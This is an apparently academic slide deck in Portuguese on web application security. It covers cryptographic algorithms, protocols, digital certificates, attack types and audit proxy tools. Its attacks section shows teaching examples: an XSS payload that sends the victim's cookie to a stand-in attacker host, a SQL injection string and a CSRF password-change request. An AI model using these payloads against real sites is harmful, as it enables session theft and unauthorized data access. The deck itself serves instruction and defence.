SEGURANÇA DE
APLICAÇÕES NA WEB
Aluno: Thiago Augusto Lopes Genez
Orientador: Mario Lemes Proença Jr.
SUMÁRIO

Introdução

Conceitos Básicos de Segurança

Algoritmos Criptográficos

Protocolos de Segurança

Identificação Digital

Os Ataques

Ferramentas de Auditoria de Segurança
INTRODUÇÃO

Aplicação WEB:




Acessada por um navegador WEB
Meio de comunicação
O canal é inseguro  Internet
Exemplos:


E-commerce, Banking on-line
Necessidade da Segurança
Ausência da segurança
 Falta de manutenção e/ou configuração específica da
segurança
 Falta de atualizações diárias



Cada dia novos ataques são descobertos
A camada da aplicação possui falhas de segurança
INTRODUÇÃO

Problema da insegurança nas aplicações WEB:
Divulgação dos dados confidenciais
 “Quebra” do sigilo Perda da confiabilidade pelo
usuário.
 Informações caírem em “mãos erradas”


Solução:


Criptografia, protocolos criptográficos, identificação
digital e ferramentas de auditoria.
Objetivo
Garantir que as informações mantenham-se intactas
e protegidas durante a sua transmissão na Internet.
 Garantir um ambiente WEB seguro.

CONCEITOS BÁSICOS DE SEGURANÇA

Serviços disponibilizados pela segurança:







Autenticação
Confidencialidade
Integridade
Não-repúdio
Controle de Acesso
Disponibilidade
Tipos de ataques contra a Segurança

Objetivo dos ataques: minimizar os serviços de
segurança
CONCEITOS BÁSICOS DE SEGURANÇA
CONCEITOS BÁSICOS DE SEGURANÇA

Classificação dos ataques

Ataques passivos: sem modificação do conteúdo
“Libertação” do conteúdo da mensagem
 Análise de tráfego


Ataques Ativos: com modificação do conteúdo
Disfarçado
 Mensagens repetitivas
 Modificação de Mensagens
 Negação de Serviço (DoS)

CONCEITOS BÁSICOS DE SEGURANÇA

O Problema da Segurança no Ambiente WEB

Ocorrem nos Browsers:
Cookies, Applets, ActiveX, AJAX
 Entrada de dados não validado nas aplicações WEB


Solucionando o problema de segurança na WEB:

Proteger :
O servidor WEB e os respectivos dados internos
 As informações que trafegam entre o servidor e o usuário

Planejar uma arquitetura de segurança para as
aplicações no seu ciclo de vida
 Os usuário finais devem navegar em uma plataforma
segura.

CONCEITOS BÁSICOS DE SEGURANÇA
ALGORITMOS CRIPTOGRÁFICOS

Origem etimológica grega:
Ckryptós  “escondido”
 Gráphein  “escrever”.

Objetivo:
Texto legível Cifra  texto ilegível
 Divididos em:


Simétrico
Codificação em Blocos
 Codificação em Fluxo


Assimétrico


Criptogrifia, Assinatura Digital e Troca de Chaves
Funções Hash
ALGORITMOS CRIPTOGRÁFICOS
SIMÉTRICOS
Algoritmo
Bloco
Chave
Informações
RC4
Fluxo
1-2048 bits
Internet Banking Caixa
Econômica Federal, Banco do
Brasil, Itaú
RC5
32-128 bits
64-128 bits
Chave 64 quebrada, chave 72
bits segura
RC6
128 bits
128-256 bits
Ficou no 4° colocado do AES
DES
64 bits
64 bits
Defasado, 1998 quebrado por
hardware
TDES
64 bits
168 bits
Comércio eletrônico PayPal
AES
128-256 bits
128-256 bits
1997-Rijndael, pagseguro
(UOL)
Blowfish
64 ou 128 bits
128 bits
Plataforma OpenBSD
Twofish
128-256 bits
256 bits
Ficou no 3° colocado do AES
Serpent
128-256 bits
128-256 bits
Ficou no 2° colocado do AES
ALGORITMOS CRIPTOGRÁFICOS
ASSIMÉTRICOS
Algoritmo
Fornece
Chave
Informações
RSA
Criptografia
Assinatura digital
Troca de Chaves
1024-2048 bits
Utilizado na maioria
dos certificados digitais
DiffieHellman
Troca de chaves
512-4096 bits
Necessita de
mecanismo extra para
garantir autenticidade
1024 bits
Proposto em 1991 para
ser o padrão para
assinaturas digitais
ECC
Criptografia
Assinatura digital
Troca de Chaves
80-256 bits
Desafiar e concorrer o
RSA. Usado no
DNSCurve
ECDSA
Assinatura Digital
160 bits
Concorrente ao DSA
DSA
Assinatura Digital
ALGORITMOS CRIPTOGRÁFICOS
FUNÇÕES HASH
Algoritmo
Tamanho Hash
Informações
MD5
128 bits
Não é resistente a colisão (2008)
MD6
512 bits
Não avançou para a segunda fase do
concurso SHA-3 em julho 2009
SHA-1
160 bits
Não é resistente a colisão
SHA-2
224, 256, 384, 512
bits
Nenhum tipo de ataque foi relatado e a
partir de 2010 todas agencias federais
USA tem que substituir o SHA-1 para
SHA-2
SHA-3
224, 256, 384, 512
bits
Concurso proposto pela NIST.
(andamento na 2° fase, resultado sairá
em 2012)
PROTOCOLOS DE SEGURANÇA
Protocolos
Ação
Fornece
Informações
SSL/TLS
Entre as camadas de
Transporte e a
camada de aplicação
Criptografia (três
tipos), Certificados
Digitais
•Podem acoplar
protocolos de alto
nível: Ex, HTTPS
•Ponto a Ponto
IPsec
Na camada de Rede
(pacote IP
criptografado)
Autenticação,
Criptografia e
Gerenciamento de
chaves
• Integrado no IPv6
• Proteção nativa para
todos os protocolos
acima da camada de
rede
WS-Security
Camada de aplicação
Criptografia XML
Assinatura XML
•Web Services
•SOAP
•Fim a Fim
DNSSec
Serviço DNS
Autenticação
•Protege ataques DNS
Spoofing (Falso DNS)
DNSCurve
Serviço DNS
Autenticação
Criptografia
•Protege ataques DoS
PROTOCOLOS DE SEGURANÇA
SSL/TLS X WS-SECURITY
•Informação está segura no
canal
•Protege toda a mensagem
•Comunicação ponto a ponto
•Garante a segurança em todos os
estágio da comunicação
•Protege somente as porções da
mensagem que precisa de segurança
•Comunicação fim a fim
IDENTIFICAÇÃO DIGITAL

Transações eletrônicas:


Integridade, autenticidade e confidencialidade
Assinatura Digital
Bloco de dados criptografado anexado a mensagem
 Fornece: Autenticação, Integridade e Não repúdio
 Não garante a confidencialidade

IDENTIFICAÇÃO DIGITAL
CERTIFICADO DIGITAL
Distribuir as chaves públicas de pessoas físicas
e/ou jurídicas de forma segura.
 Autoridade Certificadora (AC)


Terceiro Confiável
ATAQUES
Para proteger dos ataques é necessário conhecê-los
 “Passos”:

Reconhecimento do Alvo (DNS)
 Verificar a segurança da Rede
 O Ataque
 “Lá Dentro”


Ataque de força bruta

Ataque do Homem do Meio (Man-in-the-middle)

Ataque contra as aplicações WEB





Páginas dinâmicas
Código executados no cliente (script client-side)
Aplicação WEB + Servidor WEB +Banco de Dados
Problema: Entrada dos dados não são tratados
Dados armazenados em Cookies
ATAQUES

XSS (Cross Site Scripting)
http://site.vulneravel.com/post.php?param=id_sessao
 http://site.vulneravel.com/post.php?parametro=<script>document.location=
servidor.invasor.com/roubarCookie.php?’+document.cookie</script>


Injeção SQL
SELECT * FROM users WHERE username = ’" + username + "’ AND
password = ’" + password + "’";
 SELECT * FROM users WHERE username = ’’ or 1=1;--’ AND password = ’’;


CSRF (Cross-site reference forgery)
Manipula a sessão ativa da vítima (Cookie roubado)
 http://site.vulneravel.com/index.php?pagina=altera_senha.php
 Altera os valores: nova_senha=12345678&confirma_nova_senha=12345678


Phishing

google.com  googIe.com
DNS Spoofing
 Clickjacking

FERRAMENTAS DE AUDITORIA DE
SEGURANÇA
Não é trivial encontrar vulnerabilidades das aplicações.
 Maioria das soluções propostas



Não garante a proteção na lógica da aplicação
Aplicações desenvolvidas sem uma segurança na
camada da aplicação

A segurança não incluída no ciclo de vida do software
Entrada dados não validados  deixa a aplicação instável

Ferramentas de auditoria






Minimiza as vulnerabilidades
Objetivo de testar a segurança na camada de aplicação
Funcionam como um proxy
Manipulações dos pedidos e respostas HTTP/HTTPS
Age como: “Homem do meio”
FERRAMENTAS DE AUDITORIA DE
SEGURANÇA
Funções\Ferramenta
RatProxy
Web
Scarab
Paros
Burp
Proxy
w3af
IBM
AppScan
Licença Livre
Sim
Sim
Sim
Não
Sim
Não
Multiplataforma
Sim
Sim
Sim
Sim
Sim
Não
Manipula pedidos/resposta
HTTP(S)
Não
Sim
Sim
Sim
Sim
Sim
Relatório detalhado
Sim
Não
Sim
Sim
Sim
Sim
Sugestão para Correção
Não
Não
Não
Não
Não
Sim
Suporte SSL/TLS
Sim
Sim
Sim
Sim
Sim
Sim
XSS, Injeção SQL, CSR
Sim
Sim
Sim
Sim
Sim
Sim
Análise de Cookies
Sim
Sim
Sim
Sim
Sim
Sim
Análise de dados ocultos
Não
Não
Sim
Não
Não
Sim
Análise RESTful
Não
Sim
Sim
Não
Sim
Não
Ambiente Desenvolvimento
Não
Não
Não
Não
Não
Sim
CONCLUSÃO
Base da segurança: Criptografia
 Comunicação entre usuário final e a aplicação WEB:

Navegador WEB (browser)
 Canal é inseguro  Internet
 Solução: Protocolos Criptográficos


Outra solução: identificação digital

Transações eletrônicas:


Integridade, Autenticidade e Confidencialidade
Não garante a proteção na lógica da aplicação
Linguagens WEB dinâmicas
 Entrada de dados não validados
 Deixa a aplicação WEB instável  facilita os ataques
 Ferramentas de auditoria  procura as vulnerabilidades


Computação na nuvem (cloud computing)
OBRIGADO
Download

SEGURANÇA DE APLICAÇÕES NA WEB - thiagogenez-tcc